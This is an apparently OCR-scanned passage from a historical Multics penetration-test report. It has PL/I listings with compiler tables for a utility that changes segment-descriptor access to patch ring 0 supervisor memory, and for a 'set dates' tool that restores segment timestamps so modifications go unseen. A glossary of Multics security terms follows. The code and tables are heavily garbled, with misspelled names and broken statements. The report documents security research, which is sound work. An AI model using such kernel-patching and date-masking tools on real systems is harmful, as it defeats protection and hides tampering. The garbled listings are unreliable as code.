call cu$arg_ptr (i, tp, tc, code);  /* pick up the first arg (name/number) */
37 if code = error_table_snoarg i tc = 0 then do;
38   call loa_ ("prz name/segno offset value ..., value");
39   return;
40 end;
41 i = cv_oct_check_ (targ, code);  /* get segment number */
42 if code = 0 then do;
43   segptr = null ();  /* if null() we're still in trouble */
44   call ring0_get_segptr ("", targ, segptr, code);  /* so assume ring 0 name */
45 if segptr = null () then do;
46     call loa_ ("a not found.", targ);
47     return;
48 end;
49 end;
call cu_arg_ptr (2, tp, tc, code);        /* pick up second arg (first word to dump) */
if code = error_table$noarg | tc = 0 then go to mess;
first = cv_oct_ (targ);
segptr = ptr (segptr, first);
sdp = ptr (baseptr (0), baseno (segptr));
call ring0_get_segptr("", "$dseg", $sdsegptr, code);

/* Now check the access on the segment about to be patched */
datap = addr (data1);
dataip = addr (data1);
call zg (sdp, data (0));
if data (0) = 0 then do;
call ioa_ ("pt SDW = 0");
return;
end;
if substr (datap -> sdw_acc, 4, 3) = "180" then do;
call ioa_ ("pt Master procedure. SDW = \"H\", data (0));
return;
end;
datap = sdw_acc = "18010";
call zg(ptr($sdsegptr, baseno(segptr)), save_acc);
call zg(ptr($sdsegptr, baseno(segptr)), data (0));

/* Now pick off the arguments */
i = 2;
loop: i = i + 1;                /* get next argument */
    call cu_arg_ptr (i, tp, tc, code);
if code = error_table$noarg | tc = 0 then go to endarg;
    datai (i-3) = cv_oct_ (targ);    /* convert i'th arg */
go to loop;
endarg:
count = i - 3;
if count = 0 then go to mess;
datap -> overlay = segptr -> overlay;
do i = 0 to count;
call ioa_ ("60 \"H to \"\", first+i, data (i), datai (i));
end;
call ioa_$snnl ("Type \"yes\" if patches are correct!");
call ios_sread_ptr (addr (buffer), i0, i1);    /* read in the answer */
if i = 4 then go to reset;
if substr (buffer, 1, 3) = "yes" then go to reset;

/* Now do the patches */
segptr -> overlay = dataip -> overlay;

/* Now reset access (in dsseg) if necessary */
reset: call reset (ptr (baseptr ($dssegptr), baseno (segptr)), save_acc);
<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>acc</td>
<td>0(30)</td>
<td>based</td>
<td>bit(6)</td>
<td></td>
</tr>
<tr>
<td>buffer</td>
<td>000260</td>
<td>automatic</td>
<td>char(16)</td>
<td></td>
</tr>
<tr>
<td>code</td>
<td>000100</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>count</td>
<td>000150</td>
<td>internal static</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>cu_sarg_ptr</td>
<td>000200</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>cv_oct</td>
<td>000164</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>cv_oct_check_</td>
<td>000166</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>data</td>
<td>000160</td>
<td>automatic</td>
<td>fixed bin(35,0)</td>
<td></td>
</tr>
<tr>
<td>data1</td>
<td>000164</td>
<td>internal static</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>data2</td>
<td>000256</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>data3</td>
<td>000254</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>data4</td>
<td>000162</td>
<td>internal static</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>data5</td>
<td>000103</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>data6</td>
<td>000101</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td></td>
</tr>
<tr>
<td>data7</td>
<td>000172</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>data8</td>
<td>000174</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>data9</td>
<td>000176</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>data10</td>
<td>000254</td>
<td>automatic</td>
<td>fixed bin(35,0)</td>
<td></td>
</tr>
<tr>
<td>data11</td>
<td>000010</td>
<td>internal static</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>data12</td>
<td>000012</td>
<td>internal static</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>data13</td>
<td>000102</td>
<td>automatic</td>
<td>char</td>
<td></td>
</tr>
<tr>
<td>data14</td>
<td>000252</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>data15</td>
<td>000104</td>
<td>automatic</td>
<td>pointer</td>
<td></td>
</tr>
<tr>
<td>data16</td>
<td>000200</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>data17</td>
<td>000202</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>data18</td>
<td>000263</td>
<td>constant</td>
<td>label</td>
<td></td>
</tr>
<tr>
<td>data19</td>
<td>000555</td>
<td>constant</td>
<td>label</td>
<td></td>
</tr>
<tr>
<td>data20</td>
<td>000132</td>
<td>constant</td>
<td>label</td>
<td></td>
</tr>
<tr>
<td>data21</td>
<td>000770</td>
<td>constant</td>
<td>label</td>
<td></td>
</tr>
<tr>
<td>data22</td>
<td>000072</td>
<td>constant</td>
<td>entry</td>
<td></td>
</tr>
</tbody>
</table>

**Names Declared by Declare Statement and Never Referenced:**
- dirname: automatic char(168)
- error_table_isadgknown: external static fixed bin(17,0)
- expand_path_: constant entry
- get_process_id_: constant entry
- pad: based bit(30)
- processid: automatic bit(36)
- sde: based structure
- sw: automatic fixed bin(17,0)

**Names Declared by Explicit Context:**
- endarg: constant label
- loop: constant label
- mess: constant label
- reset: constant label
- sp: constant entry

**Names Declared by Context or Implied:**
- addr: builtin function
- banner: builtin function

**Attributes and References:**
- dcl 2 packed unaligned dcl 31 set ref 74 70
- dcl 7 set ref 99 99 101
- array dcl 7 set ref 40 41 45 45 48 56 57 61 86 87
- external dcl 7 set ref 86 93 93 94
- external dcl 7 set ref 48 56 86
- external dcl 7 set ref 56 86
- array dcl 7 set ref 37 66 68 69 75 80 95
- array dcl 7 set ref 67 86 95
- dcl 7 set ref 67 109
- dcl 7 set ref 73 66 74 76 92
- dcl 7 set ref 41 57 87
- dcl 7 set ref 56 59 95
- dcl 7 set ref 45 54 84 85 86 88 89 94 95 95
- dcl 9 100
- dcl 7 set ref 42 58 70 75 95
- external dcl 7 set ref 98
- external dcl 7 set ref 99
- array dcl 7 set ref 93 93 109 109
- external dcl 7 set ref 46 61
- dcl 7 set ref 79 113
- dcl 7 set ref 60 60
- dcl 7 set ref 47 48 54 59 59 60 79 79 80 80
- dcl 9 113
- unaligned dcl: 7 set ref 45 49 50 58 86
- dcl 7 set ref 40 41 45 45 48 58 58 58 56 79 80 85 89 89 95 98 86 87 88 88
- dcl 7 set ref 61 79 79 80 80 113 113
- external dcl 7 set ref 60 79
- external dcl 7 set ref 80 113

**Names Declared by Context or Implied:**
- dcl 7
- unaligned dcl 7
- dcl 7
- external dcl 7
- dcl 7
- level 2 packed unaligned dcl 31
- dcl 7
- external dcl 1 ref 1

**References:**
- external dcl 1 ref 1
- internal ref 37 66 67 99 99
- internal ref 60 79 79 80 80 113 113
STORAGE REQUIREMENTS FOR THIS PROGRAM.

<table>
<thead>
<tr>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Dofs</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>0</td>
<td>0</td>
<td>1130</td>
<td>1336</td>
<td>1012</td>
</tr>
<tr>
<td>Length</td>
<td>1526</td>
<td>1012</td>
<td>206</td>
<td>156</td>
<td>116</td>
</tr>
</tbody>
</table>

External procedure xre uses 244 words of automatic storage

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.

call_ext_out_desc  call_ext_out  return  copy_words  ext_entry

rpcl_loop_to_bp

cv_oct_check

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.

cu_arg_ptr  cv_oct  loa

io_out_ptr  loa_get__safe_ptr  zg

THE FOLLOWING EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

error_table_loa

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>000071</td>
<td>37</td>
<td>00077</td>
<td>38</td>
<td>00101</td>
<td>40</td>
<td>00103</td>
<td>41</td>
<td>00121</td>
<td>42</td>
<td>00132</td>
<td>43</td>
<td>000147</td>
</tr>
<tr>
<td>45</td>
<td>000150</td>
<td>46</td>
<td>00020</td>
<td>47</td>
<td>00025</td>
<td>48</td>
<td>00020</td>
<td>49</td>
<td>00023</td>
<td>50</td>
<td>000256</td>
<td>51</td>
<td>000301</td>
</tr>
<tr>
<td>53</td>
<td>000302</td>
<td>54</td>
<td>000303</td>
<td>56</td>
<td>000310</td>
<td>57</td>
<td>000327</td>
<td>58</td>
<td>000340</td>
<td>59</td>
<td>000366</td>
<td>60</td>
<td>000372</td>
</tr>
<tr>
<td>61</td>
<td>000402</td>
<td>66</td>
<td>000430</td>
<td>67</td>
<td>000432</td>
<td>68</td>
<td>000435</td>
<td>69</td>
<td>000445</td>
<td>70</td>
<td>000447</td>
<td>71</td>
<td>000465</td>
</tr>
<tr>
<td>74</td>
<td>000466</td>
<td>75</td>
<td>000472</td>
<td>76</td>
<td>000513</td>
<td>78</td>
<td>000514</td>
<td>79</td>
<td>000517</td>
<td>80</td>
<td>000535</td>
<td>80</td>
<td>000535</td>
</tr>
<tr>
<td>85</td>
<td>000555</td>
<td>86</td>
<td>000556</td>
<td>87</td>
<td>000573</td>
<td>88</td>
<td>000604</td>
<td>89</td>
<td>000634</td>
<td>90</td>
<td>000635</td>
<td>90</td>
<td>000640</td>
</tr>
<tr>
<td>93</td>
<td>000641</td>
<td>94</td>
<td>000647</td>
<td>95</td>
<td>000656</td>
<td>96</td>
<td>000713</td>
<td>98</td>
<td>000715</td>
<td>99</td>
<td>000732</td>
<td>100</td>
<td>000751</td>
</tr>
</tbody>
</table>
APPENDIX F

Set Dates Utility Listing

This appendix is a listing of the set dates utility described in Section 3.4.4. The set entry point takes a pathname as an argument and remembers the dates on the segment at that time. The set entry point takes no arguments and sets the dates on the segment to the values at the time of the call to the get entry point. Set remembers the pathname as well as the dates and may be called repeatedly to handle the deactivation problem discussed in Section 3.4.4.
get:
  proc;
  /* Entry point to get the dates from a segment */

  dcl
  cu_sarg_ptr entry (fixed bin, ptr, fixed bin, fixed bin),
  expand_path_entry (ptr, fixed bin, ptr, ptr, fixed bin),
  com_err_entry options (variable),
  hcs_status_long entry (char (*), char (*), fixed bin (1), ptr, ptr, fixed bin),
  hcs_set_dates entry (char (*), char (*), ptr, fixed bin);
  dcl
  argo ptr,
  arg1 fixed bin,
  code fixed bin,
  dir char (168) int static init (""),
  entry char (32) int static init (""),
  arg char (arg1) based (argo),
  bp ptr;
  dcl
  1 time aligned internal static,
  2 (dtms, dtd, dtu, dtm) bit (36) unaligned;
  dcl
  1 branch aligned,
  2 (type bit (2), names bit (16), nrp bit (18), dtm bit (36), dtu bit (36), mode bit (9), padding
  bit (13), records bit (18), dtd bit (36), dtm bit (36), acct bit (36), curien bit (12), bitcnt
  bit (24), did bit (4), mdid bit (4), copyw bit (1), pad2 bit (9), nsb (8+2) bit (6), uid bit (36)
  ) unaligned;
  call cu_sarg_ptr (1, argo, arg1, code); /* get relative pathname from command line */
  if code ^= 0 then
    do;

      call com_err_ (code, "get");
      return;
    end;

  call expand_path_ (argo, arg1, addr (dir), addr (entry), code);
  if code ^= 0 then
    do;

      call com_err_ (code, "get", arg);
      return;
    end;
  bp = addr (branch);
  call hcs_status_long (dir, entry, 1, bp, null (), code); /* read out dates on segment */
  if code ^= 0 then go to error;

  time_dtms = branch_dtms;
  time_dtd = branch_dtd;
  time_dtu = branch_dtu;
  time_dtm = branch_dtm;
  return;
50 \* Entry to set dates on a segment to the values at the time of the call */
51 call BCE2. SET DATES (dir, entry, ador, time), code /* set the dates */
52 if code = 0 then go to err1
53 end
## NAMES DECLARED IN THIS COMPILATION.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>acc</td>
<td>6</td>
<td>000106</td>
<td>automatic</td>
<td>bit(36)</td>
</tr>
<tr>
<td>arg</td>
<td></td>
<td></td>
<td>based</td>
<td>char</td>
</tr>
<tr>
<td>argl</td>
<td></td>
<td>000102</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td>argp</td>
<td></td>
<td>000100</td>
<td>automatic</td>
<td>pointer</td>
</tr>
<tr>
<td>bittnt</td>
<td>7(12)</td>
<td>000106</td>
<td>automatic</td>
<td>bit(24)</td>
</tr>
<tr>
<td>bp</td>
<td></td>
<td>000106</td>
<td>automatic</td>
<td>pointer</td>
</tr>
<tr>
<td>branch</td>
<td></td>
<td>000106</td>
<td>automatic</td>
<td>structure</td>
</tr>
<tr>
<td>code</td>
<td></td>
<td>000103</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td>comname</td>
<td></td>
<td>000104</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>copytext</td>
<td>10(8)</td>
<td>000106</td>
<td>automatic</td>
<td>bit(1)</td>
</tr>
<tr>
<td>cu_sarg_ptr</td>
<td></td>
<td>000104</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>dclen</td>
<td>7</td>
<td>000106</td>
<td>automatic</td>
<td>bit(12)</td>
</tr>
<tr>
<td>ddir</td>
<td>10</td>
<td>000106</td>
<td>automatic</td>
<td>bit(4)</td>
</tr>
<tr>
<td>dird</td>
<td></td>
<td>000106</td>
<td>internal static</td>
<td>char(166)</td>
</tr>
<tr>
<td>dtd</td>
<td>4</td>
<td>000106</td>
<td>automatic</td>
<td>bit(35)</td>
</tr>
<tr>
<td>dtl</td>
<td>1</td>
<td>000072</td>
<td>internal static</td>
<td>bit(36)</td>
</tr>
<tr>
<td>dtlsl</td>
<td>5</td>
<td>000106</td>
<td>automatic</td>
<td>bit(36)</td>
</tr>
<tr>
<td>dtasl</td>
<td>3</td>
<td>000072</td>
<td>internal static</td>
<td>bit(36)</td>
</tr>
<tr>
<td>dtlsl</td>
<td>3</td>
<td>000106</td>
<td>internal static</td>
<td>bit(36)</td>
</tr>
<tr>
<td>dt</td>
<td>1</td>
<td>000106</td>
<td>automatic</td>
<td>bit(35)</td>
</tr>
<tr>
<td>dtu</td>
<td>2</td>
<td>000072</td>
<td>internal static</td>
<td>bit(36)</td>
</tr>
<tr>
<td>dtu</td>
<td>2</td>
<td>000106</td>
<td>automatic</td>
<td>bit(35)</td>
</tr>
<tr>
<td>entry</td>
<td></td>
<td>000062</td>
<td>internal static</td>
<td>char(32)</td>
</tr>
<tr>
<td>expand_path</td>
<td></td>
<td>000102</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>hcs_sset_data</td>
<td></td>
<td>000106</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>hcs_status_long</td>
<td></td>
<td>000106</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>addd</td>
<td>10(4)</td>
<td>000106</td>
<td>automatic</td>
<td>bit(4)</td>
</tr>
<tr>
<td>addd</td>
<td>3</td>
<td>000106</td>
<td>automatic</td>
<td>bit(5)</td>
</tr>
<tr>
<td>nadds</td>
<td>10(18)</td>
<td>000106</td>
<td>automatic</td>
<td>bit(6)</td>
</tr>
<tr>
<td>name</td>
<td>0(8)</td>
<td>000106</td>
<td>automatic</td>
<td>bit(16)</td>
</tr>
<tr>
<td>nmp</td>
<td>0(18)</td>
<td>00106</td>
<td>automatic</td>
<td>bit(18)</td>
</tr>
<tr>
<td>pad2</td>
<td>10(1)</td>
<td>000106</td>
<td>automatic</td>
<td>bit(13)</td>
</tr>
<tr>
<td>pad2</td>
<td>31(5)</td>
<td>000106</td>
<td>automatic</td>
<td>bit(18)</td>
</tr>
<tr>
<td>records</td>
<td>3(18)</td>
<td>000072</td>
<td>internal static</td>
<td>structure</td>
</tr>
<tr>
<td>time</td>
<td></td>
<td>000072</td>
<td>internal static</td>
<td>structure</td>
</tr>
<tr>
<td>type</td>
<td></td>
<td>000106</td>
<td>automatic</td>
<td>bit(2)</td>
</tr>
<tr>
<td>uid</td>
<td></td>
<td>000106</td>
<td>automatic</td>
<td>bit(36)</td>
</tr>
</tbody>
</table>

### ATTRIBUTES AND REFERENCES
- level 2 packed unaligned dcl 25
- unaligned dcl 14 set ref 40
- dcl 14 set ref 30 37 34 40 dcl 14 set ref 30 37 34
dcl 14 set ref 40 45
- level 2 packed unaligned dcl 25
dcl 14 set ref 30 37 34 37 38 37 40 45 46 49 50
dcl 14 set ref 30 37 33 37 40 45 46 50 50
external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30
- level 2 packed unaligned dcl 25
- external dcl 8 ref 30

### STORAGE REQUIREMENTS FOR THIS PROGRAM.

<table>
<thead>
<tr>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Datas</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>0</td>
<td>0</td>
<td>350</td>
<td>260</td>
<td>360</td>
</tr>
<tr>
<td>Length</td>
<td>632</td>
<td>260</td>
<td>112</td>
<td>186</td>
<td>67</td>
</tr>
</tbody>
</table>

- built-in function
- built-in function
- built-in function
- external ref 37 37 37 37 40 44 59 59
- external dcl 1 ref 1
- external dcl 45 45

- dcl 33 ref 33 60
- dcl 40 ref 40 40
THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM.
call_ext_out_desc   call_ext_out   return   ext_entry

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM.
com_err_    cu_sarg_ptr    expand_path_    hcs_set_dates
hcs_status_long

NO EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

<table>
<thead>
<tr>
<th>LINE</th>
<th>LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>000012</td>
</tr>
<tr>
<td>40</td>
<td>0000106</td>
</tr>
<tr>
<td>50</td>
<td>0000213</td>
</tr>
<tr>
<td>30</td>
<td>000020</td>
</tr>
<tr>
<td>42</td>
<td>000141</td>
</tr>
<tr>
<td>51</td>
<td>000215</td>
</tr>
<tr>
<td>31</td>
<td>000037</td>
</tr>
<tr>
<td>44</td>
<td>000142</td>
</tr>
<tr>
<td>52</td>
<td>000217</td>
</tr>
<tr>
<td>33</td>
<td>000041</td>
</tr>
<tr>
<td>45</td>
<td>000144</td>
</tr>
<tr>
<td>54</td>
<td>000220</td>
</tr>
<tr>
<td>35</td>
<td>000050</td>
</tr>
<tr>
<td>46</td>
<td>000204</td>
</tr>
<tr>
<td>59</td>
<td>000226</td>
</tr>
<tr>
<td>37</td>
<td>000061</td>
</tr>
<tr>
<td>48</td>
<td>000206</td>
</tr>
<tr>
<td>60</td>
<td>000255</td>
</tr>
<tr>
<td>36</td>
<td>000184</td>
</tr>
<tr>
<td>49</td>
<td>000211</td>
</tr>
<tr>
<td>61</td>
<td>000257</td>
</tr>
</tbody>
</table>
GLOSSARY

Access
"The ability and the means to approach, communicate with (input to or receive output from), or otherwise make use of any material or component in an ADP System." <DOD73>

Access Control List (ACL)
"An access control list (ACL) describes the access attributes associated with a particular segment. The ACL is a list of user identifications and respective access attributes. It is kept in the directory that catalogs the segment." <HIS73>

Active Segment Table (AST)
The AST contains an entry for every active segment in the system. A segment is "active" if its page table is in core. The AST is managed with least recently used algorithm.

Argument Validation
On calls to inner-ring (more privileged) procedures, argument validation is performed to ensure that the caller indeed had access to the arguments that have been passed to ensure that the called, more privileged procedure does not unwittingly access the arguments improperly.

Arrest
"The discovery of user activity not necessary to the normal processing of data which might lead to a violation of system security and force termination of the activity." <DOD73>
Breach

"The successful and repeatable defeat of security controls with or without an arrest, which if carried to consummation, could result in a penetration of the system. Examples of breaches are:
a. Operation of user code in master mode;
b. Unauthorized acquisition of I.D. password or file access passwords; and
c. Accession to a file without using prescribed operating system mechanisms." (DD73)

Call Limiter

The call limiter is a hardware feature of the HIS 6180 which restricts calls to a gate segment to a specified block of instructions (normally a transfer vector) at the base of the segment.

Date Time Last Modified (DTM)

The date time last modified of each segment is stored in its parent directory.

Date Time Last Used (DTU)

The date time last used of each segment is stored in its parent directory.

Deactivation

Deactivation is the process of removing a segments page table from core.

Descriptor Base Register (DBR)

The descriptor base register points to the page table of the descriptor segment of the process currently executing on the CPU.

Descriptor Segment (DSEG)

The descriptor segment is a table of segment descriptor words which identifies to the CPU to which
segments, the process currently has access.

Directory

"A directory is a segment that contains information about other segments such as access attributes, number of records, names, and bit count." \(<\text{HIS73}>\)

emergency_shutdown

"This mastermode module provides a system reentry point which can be used after a system crash to attempt to bring the system to a graceful stopping point." \(<\text{SPS73}>\)

Fault Intercept Module (fim)

The fim is a ring 0 module which is called to handle most faults. It copies the saved machine state into an easily accessible location and calls the appropriate fault handler (usually the signaler).

Gate Segment

A gate segment contains one or more entry point used on inward calls. A gate entry point is the only entry in a inner ring that may be called from an outer ring. Argument validation must be performed for all calls into gate segments.

General Comprehensive Operating Supervisor (GCOS)

GCOS is the operating system for the Honeywell 600/6000 line of computers. It is very similar to other conventional operating systems and has no outstanding security features.

HIS 645

The Honeywell 645 is the computer originally designed to run Multics. It is a modification of the HIS 635 adding paging and segmentation hardware.
The Honeywell 6180 is a follow-on design to the HIS 645. The HIS 6180 uses the advanced circuit technology of the HIS 6080 and adds paging and segmentation hardware. The primary difference between the HIS 6180 and the HIS 645 (aside from performance improvements) is the addition of protection ring hardware.

**hcs_**

The gate segment hcs_ provides entry into ring 0 for most user programs for such functions as creating and deleting segments, modifying ACL's, etc.

**hphcs_**

The gate segment hphcs_ provides entry into ring 0 for such functions as shutting the system down, hardware reconfiguration, etc. Its access is restricted to system administration personnel.

**ITS Pointer**

An ITS (Indirect To Segment) Pointer is a 72-bit pointer containing a segment number, word number, bit offset, and indirect modifier. A Multics PL/I aligned pointer variable is stored as an ITS pointer.

**Known Segment Table (KST)**

The KST is a per-process table which associates segment numbers with segment names. Details of its organization and use may be found in Organick. (ORG72)

**Linkage Segment**

"The linkage segment contains certain vital symbolic data, descriptive information, pointers, and instructions that are needed for the linking of procedures in each process." (ORG72)
Master Mode

When the HIS 645 processor is in master mode (as opposed to slave mode), any processor instruction may be executed and access control checking is inhibited.

Multics

Multics, the Multiplexed Information and Computing Service, is the operating system for the HIS 645 and HIS 6180 computers.

Multi-Level Security Mode

"A mode of operation under an operating system (supervisor or executive program) which provides a capability permitting various levels and categories or compartments of material to be concurrently stored and processed in an ADP system. In a remotely accessed resource-sharing system, the material can be selectively accessed and manipulated from variously controlled terminals by personnel having different security clearances and access approvals. This mode of operation can accommodate the concurrent processing and storage of (a) two or more levels of classified data, or (b) one or more levels of classified data with unclassified data depending upon the constraints placed on the systems by the Designated Approving Authority." <DOD73>

OS/360

OS/360 is the operating system for the IBM 360 line of computers. It is very similar to other conventional operating systems and has no outstanding security features.

Page

Segments may be broken up into 1024 word blocks called pages which may be stored in non-contiguous locations of memory.
Penetration

"The successful and repeatable extraction and identification of recognizable information from a protected data file or data set without any attendant arrests." (DOD73)

Process

"A process is a locus of control within an instruction sequence. That is, a process is that abstract entity which moves through the instructions of a procedure as the procedure is executed by a processor." (DEN66)

Process Data Segment (PDS)

The PDS is a per-process segment which contains various information about the process including the user identification and the ring 0 stack. The PDS is accessible only in ring 0 or in master mode.

Process Initialization Table (PIT)

The PIT is a per-process segment which contains additional information about the process. The PIT is readable in ring 4 and writable only in ring 0.

Protection Rings

Protection rings form an extension to the traditional master/slave mode relationship in which there are eight hierarchical levels of protection numbered 0 - 7. A given ring N may access rings N through 7 but may only call specific gate segments in rings 0 to N-1.

Reference Monitor

The reference monitor is that hardware/software combination which must monitor all references by any program to any data anywhere in the system to ensure the security rules are followed.

a. The monitor must be tamper proof.
b. The monitor must be invoked for every
reference to data anywhere in the system.
c. The monitor must be small enough to be proven correct.

Segment

A segment is the logical atomic unit of information in Multics. Segments have names and unique protection attributes and may contain up to 256K words. Segments are directly implemented by the HIS 645 and HIS 6180 hardware.

Segment Descriptor Word (SDW)

An SDW is a single entry in a Descriptor Segment. The SDW contains the absolute address of the page table of a segment (if one exists) or an indication that the page table does not exist. The SDW also contains the access control information for the segment.

Segment Loading Table (SLT)

The SLT contains a list of segments to be used at the time the system is brought up. All segments in the SLT come from the system tape.

signaller

"signaller is the hardcore ring privileged procedure responsible for signalling all fault and interrupt-produced errors." <SPS73>

Slave Mode

When the HIS 645 processor is in slave mode, certain processor instructions are inhibited and access control checking is enforced. The processor may enter master mode from slave mode only by signalling a fault of some kind.
Stack Base Register

The stack base register contains the segment number of the stack currently in use. In the original design of Multics, the stack base was locked so that interrupt handlers were guaranteed that it always pointed to a writable segment. This restriction was later removed allowing the user to change the stack base arbitrarily.

subverter

The subverter is a procedure designed to test the reliability of security hardware by periodically attempting illegal accesses.

Trap door

Trap doors are unnoticed pieces of code which may be inserted into a system by a penetrator. The trap door would remain dormant within the software until triggered by the agent. Trap doors inserted into the code implementing the reference monitor could bypass any and all security restrictions on the systems. Trap doors can potentially be inserted at any time during software development and use.

WWMCCS

WWMCCS, the World Wide Military Command and Control System, is designed to provide unified command and control functions for the Joint Chiefs of Staff. As part of the WWMCCS contract for procurement of a large number of HIS 6000 computers, a set of software modifications were made to GCOS, primarily in the area of security. The WWMCCS GCOS security system was found to be no more effective than the unmodified GCOS security, due to the inherent weaknesses of GCOS itself.